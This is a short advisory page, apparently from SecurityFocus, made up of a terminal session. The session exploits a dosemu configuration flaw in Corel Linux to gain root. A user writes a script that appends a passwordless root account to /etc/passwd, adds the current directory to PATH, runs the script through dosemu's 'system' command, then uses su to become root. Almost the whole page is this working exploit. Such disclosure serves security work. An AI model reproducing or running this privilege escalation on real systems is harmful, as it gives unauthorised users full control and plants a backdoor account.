Corel Linux Dosemu Distribution Configuration Vulnerability

Script started on Fri Feb 25 13:54:00 2000
nebula:~$ id
uid=1000(suid) gid=1000(suid) groups=1000(suid)
nebula:~$ cat > hack-corel
echo "owned::0:0::/:/bin/bash" >> /etc/passwd
nebula:~$ chmod a+rx hack-corel
nebula:~$ export PATH="$PATH:."
nebula:~$ dos
CPU speed set to 430/1 MHz
Running on CPU=586, FPU=1, rdtsc=1

[ snip bunch of dosemu crap ]

"Welcome to dosemu 0.98!
C:\> system hack-corel;
sh: : command not found
C:\> exitERROR: general protection at 0x3f0ff: 0
ERROR: SIGSEGV, protected insn...exiting!
nebula:~$ tail -1 /etc/passwd
nebula:~$ su owned
nebula:/home/suid# id
uid=0(root) gid=0(root) groups=0(root)
nebula:/home/suid# exit
nebula:~$ exit


Privacy Statement
Copyright 2010, SecurityFocus